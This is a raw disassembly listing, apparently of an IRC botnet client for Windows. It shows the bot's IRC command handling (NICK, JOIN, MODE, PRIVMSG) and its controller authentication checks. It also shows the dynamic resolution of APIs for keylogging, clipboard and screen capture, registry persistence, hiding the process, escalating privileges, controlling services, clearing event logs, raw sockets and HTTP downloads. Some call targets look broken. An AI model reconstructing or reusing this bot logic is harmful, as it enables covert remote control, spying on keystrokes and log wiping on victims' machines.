loc_409515:				; CODE XREF: sub_401ACD+3D57j
					; sub_401ACD+3D6Ej
		push	edi
		push	offset dword_42A250
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429D00
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409531:				; CODE XREF: sub_401ACD+3D29j
					; sub_401ACD+3D40j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	edi
		push	offset unk_429CE0
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_401ACD+3CFBj
					; sub_401ACD+3D12j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CBC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409570:				; CODE XREF: sub_401ACD+3123j
					; sub_401ACD+313Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C9C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h


loc_4095A6:				; CODE XREF: sub_401ACD+7B23j
		push	eax
		call	near ptr 26803E7h
		nop


loc_4095AD:				; CODE XREF: sub_401ACD+2A5Fj
		xor	eax, eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4095B4:				; CODE XREF: sub_401ACD+30F5j
					; sub_401ACD+310Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C74
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4095A6
; ---------------------------------------------------------------------------


loc_4095F2:				; CODE XREF: sub_401ACD+EADj
					; sub_401ACD+EC2j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40AE84
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C50


loc_40963D:				; CODE XREF: sub_401ACD+6FCCj
					; sub_401ACD+75F1j ...
		call	sub_415DAC
		pop	ecx


loc_409643:				; CODE XREF: sub_401ACD+6BD8j
		pop	ecx


loc_409644:				; CODE XREF: sub_401ACD+63Dj
					; sub_401ACD+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_40964C:				; CODE XREF: sub_401ACD+A98j
					; sub_401ACD+AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F75
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F75
		push	offset asc_42CDCC ; "!"
		push	[ebp+var_90]
		call	sub_41CAD4
		mov	esi, eax
		push	offset word_4CB8DC
		push	ebx
		inc	esi
		call	sub_41CAD4
		push	offset asc_429C4C ; "~"
		push	eax
		call	sub_41CAD4
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41CA50
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096EB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BCC
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_401ACD+7BDAj
		mov	[ebp+arg_24], offset off_429160


loc_4096F2:				; CODE XREF: sub_401ACD+7C41j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409752
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_4096F2
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B78
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_409752:				; CODE XREF: sub_401ACD+7C34j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409757:				; CODE XREF: sub_401ACD+7CB4j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F75
		cmp	[edi], bl
		jnz	short loc_409777
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409788


loc_409777:				; CODE XREF: sub_401ACD+7C95j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409757
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409788:				; CODE XREF: sub_401ACD+7CA8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B58
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4097BF:				; CODE XREF: sub_401ACD+7CD6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B38


loc_4097CB:				; CODE XREF: sub_401ACD+595j
					; sub_401ACD+2889j ...
		call	sub_415DAC


loc_4097D0:				; CODE XREF: sub_401ACD+1B81j
		pop	ecx


loc_4097D1:				; CODE XREF: sub_401ACD+24FDj
		pop	ecx
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4097D7:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		mov	dword_4CB8D4, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409823	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41CB70
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA74
		leave
		retn
sub_409823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409869	proc near		; CODE XREF: sub_401ACD+506p
					; sub_401ACD+134Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409884
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409884:				; CODE XREF: sub_409869+14j
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B9C0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA74
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409907
		push	7D0h
		nop
		call	near ptr 26803E7h

locret_409907:				; CODE XREF: sub_409869+91j
		leave
		retn
sub_409869	endp


; =============== S U B	R O U T	I N E =======================================



sub_409909	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_4270A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A29
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CBAD0, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CBA44, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CBA28, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB938, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB8E4, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB914, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB98C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CBA84, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CBAE0, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB944, eax
		call	esi
		cmp	dword_4CBAD0, ebx
		mov	dword_4CB92C, eax
		jz	short loc_409A07
		cmp	dword_4CBA44, ebx
		jz	short loc_409A07
		cmp	dword_4CBA28, ebx
		jz	short loc_409A07
		cmp	dword_4CB938, ebx
		jz	short loc_409A07
		cmp	dword_4CB914, ebx
		jz	short loc_409A07
		cmp	dword_4CB98C, ebx
		jz	short loc_409A07
		cmp	dword_4CBA84, ebx
		jz	short loc_409A07
		cmp	dword_4CBAE0, ebx
		jz	short loc_409A07
		cmp	dword_4CB944, ebx
		jz	short loc_409A07
		cmp	eax, ebx
		jnz	short loc_409A11


loc_409A07:				; CODE XREF: sub_409909+B8j
					; sub_409909+C0j ...
		mov	dword_4CBAE4, 1


loc_409A11:				; CODE XREF: sub_409909+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CBA5C, eax
		jz	short loc_409A3E
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A3E
; ---------------------------------------------------------------------------


loc_409A29:				; CODE XREF: sub_409909+1Dj
		call	near ptr 2680E92h
		nop
		mov	dword_4CBAE8, eax
		mov	dword_4CBAE4, 1


loc_409A3E:				; CODE XREF: sub_409909+117j
					; sub_409909+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B53
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CBA80, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CBA30, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB9C4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CBAD4, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB9F4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CBA14, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CBA78, eax
		call	esi
		cmp	dword_4CBA80, ebx
		mov	dword_4CB964, eax
		jz	short loc_409AF7
		cmp	dword_4CBA30, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9C4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBAD4, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9F4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA14, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA78, ebx
		jz	short loc_409AF7
		cmp	eax, ebx
		jnz	short loc_409B01


loc_409AF7:				; CODE XREF: sub_409909+1B8j
					; sub_409909+1C0j ...
		mov	dword_4CBAEC, 1


loc_409B01:				; CODE XREF: sub_409909+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB9F0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB8F8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB9C0, eax
		call	esi
		cmp	dword_4CB9F0, ebx
		mov	dword_4CB9A8, eax
		jz	short loc_409B5E
		cmp	dword_4CB8F8, ebx
		jz	short loc_409B5E
		cmp	dword_4CB9C0, ebx
		jz	short loc_409B5E
		cmp	eax, ebx
		jnz	short loc_409B68
		jmp	short loc_409B5E
; ---------------------------------------------------------------------------


loc_409B53:				; CODE XREF: sub_409909+144j
		nop
		call	near ptr 2680E92h
		mov	dword_4CBAF0, eax


loc_409B5E:				; CODE XREF: sub_409909+232j
					; sub_409909+23Aj ...
		mov	dword_4CBAEC, 1


loc_409B68:				; CODE XREF: sub_409909+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D21
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CBA94, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB9D8, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CBA48, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB924, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB988, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CBA00, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB9A4, eax
		call	esi
		cmp	dword_4CBA94, ebx
		mov	dword_4CB9B4, eax
		jz	short loc_409C11
		cmp	dword_4CB9D8, ebx
		jz	short loc_409C11
		cmp	dword_4CBA48, ebx
		jz	short loc_409C11
		cmp	dword_4CB924, ebx
		jz	short loc_409C11
		cmp	dword_4CB988, ebx
		jz	short loc_409C11
		cmp	dword_4CBA00, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409909+2DEj
					; sub_409909+2E6j ...
		mov	dword_4CBAF4, 1


loc_409C1B:				; CODE XREF: sub_409909+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CBA08, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB9E0, eax
		call	esi
		cmp	dword_4CBA08, ebx
		mov	dword_4CBA90, eax
		jz	short loc_409C56
		cmp	dword_4CB9E0, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60


loc_409C56:				; CODE XREF: sub_409909+33Fj
					; sub_409909+347j
		mov	dword_4CBAF4, 1


loc_409C60:				; CODE XREF: sub_409909+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CBA18, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB900, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB908, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB96C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB970, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB91C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB9E4, eax
		call	esi
		cmp	dword_4CBA18, ebx
		mov	dword_4CB90C, eax
		jz	short loc_409D04
		cmp	dword_4CB900, ebx
		jz	short loc_409D04
		cmp	dword_4CB908, ebx
		jz	short loc_409D04
		cmp	dword_4CB96C, ebx
		jz	short loc_409D04
		cmp	dword_4CB970, ebx
		jz	short loc_409D04
		cmp	dword_4CB91C, ebx
		jz	short loc_409D04
		cmp	dword_4CB9E4, ebx
		jz	short loc_409D04
		cmp	eax, ebx
		jnz	short loc_409D0E


loc_409D04:				; CODE XREF: sub_409909+3C5j
					; sub_409909+3CDj ...
		mov	dword_4CBAF4, 1


loc_409D0E:				; CODE XREF: sub_409909+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB904, eax
		jnz	short loc_409D36
		jmp	short loc_409D2C
; ---------------------------------------------------------------------------


loc_409D21:				; CODE XREF: sub_409909+26Aj
		nop
		call	near ptr 2680E92h
		mov	dword_4CBAF8, eax


loc_409D2C:				; CODE XREF: sub_409909+416j
		mov	dword_4CBAF4, 1


loc_409D36:				; CODE XREF: sub_409909+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E02
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CBA10, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CBA68, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CBA70, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CBA2C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB948, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB8F4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CBA6C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB8E0, eax
		call	esi
		cmp	dword_4CBA10, ebx
		mov	dword_4CB980, eax
		jz	short loc_409E0D
		cmp	dword_4CBA68, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA70, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA2C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB948, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8F4, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA6C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8E0, ebx
		jz	short loc_409E0D
		cmp	eax, ebx
		jnz	short loc_409E17
		jmp	short loc_409E0D
; ---------------------------------------------------------------------------


loc_409E02:				; CODE XREF: sub_409909+438j
		nop
		call	near ptr 2680E92h
		mov	dword_4CBB00, eax


loc_409E0D:				; CODE XREF: sub_409909+4B9j
					; sub_409909+4C1j ...
		mov	dword_4CBAFC, 1


loc_409E17:				; CODE XREF: sub_409909+4F5j
		mov	ebp, dword_4270C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0D3
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB994, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CBAC8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB934, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB910, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB9D0, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB9B8, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB97C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CBAA4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CBAC0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB9CC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CBAB0, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CBA64, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CBA24, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CBA20, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB954, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB94C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CBA74, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CBA88, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CBA3C, eax
		call	esi
		mov	dword_4CB9FC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CBA50, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CBA0C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CBA4C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CBAB8, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CBA04, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB9C8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CBA38, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CBAA8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB9DC, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB978, eax
		call	esi
		cmp	dword_4CB994, ebx
		mov	dword_4CBABC, eax
		jz	loc_40A0DE
		cmp	dword_4CBAC8, ebx
		jz	loc_40A0DE
		cmp	dword_4CB934, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9B8, ebx
		jz	loc_40A0DE
		cmp	dword_4CB97C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBAA4, ebx
		jz	loc_40A0DE
		cmp	dword_4CBAC0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9CC, ebx
		jz	loc_40A0DE
		cmp	dword_4CBAB0, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA64, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA24, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA20, ebx
		jz	loc_40A0DE
		cmp	dword_4CB954, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA74, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA88, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA3C, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9FC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA50, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA0C, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA4C, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBAB8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA04, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9C8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA38, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBAA8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9DC, ebx
		jz	short loc_40A0DE
		cmp	eax, ebx
		jnz	short loc_40A0E8
		jmp	short loc_40A0DE
; ---------------------------------------------------------------------------


loc_40A0D3:				; CODE XREF: sub_409909+51Fj
		nop
		call	near ptr 2680E92h
		mov	dword_4CBB08, eax


loc_40A0DE:				; CODE XREF: sub_409909+6BEj
					; sub_409909+6CAj ...
		mov	dword_4CBB04, 1


loc_40A0E8:				; CODE XREF: sub_409909+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1ED
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB960, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB8E8, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB9EC, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB998, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB9F8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB9BC, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB928, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB920, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB930, eax
		call	esi
		cmp	dword_4CB960, ebx
		mov	ecx, dword_4CB9BC
		mov	dword_4CBA58, eax
		jz	short loc_40A1C9
		cmp	dword_4CB8E8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9EC, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB998, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9F8, ebx
		jz	short loc_40A1C9
		cmp	ecx, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB928, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB920, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB930, ebx
		jz	short loc_40A1C9
		cmp	eax, ebx
		jnz	short loc_40A1D3


loc_40A1C9:				; CODE XREF: sub_409909+87Ej
					; sub_409909+886j ...
		mov	dword_4CBB0C, 1


loc_40A1D3:				; CODE XREF: sub_409909+8BEj
		cmp	ecx, ebx
		jz	short loc_40A208
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB9D4, eax
		jnz	short loc_40A208
		jmp	short loc_40A202
; ---------------------------------------------------------------------------


loc_40A1ED:				; CODE XREF: sub_409909+7EAj
		nop
		call	near ptr 2680E92h
		mov	dword_4CBB10, eax
		mov	dword_4CBB0C, 1


loc_40A202:				; CODE XREF: sub_409909+8E2j
		mov	dword_4CB9D4, ebx


loc_40A208:				; CODE XREF: sub_409909+8CCj
					; sub_409909+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A252
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
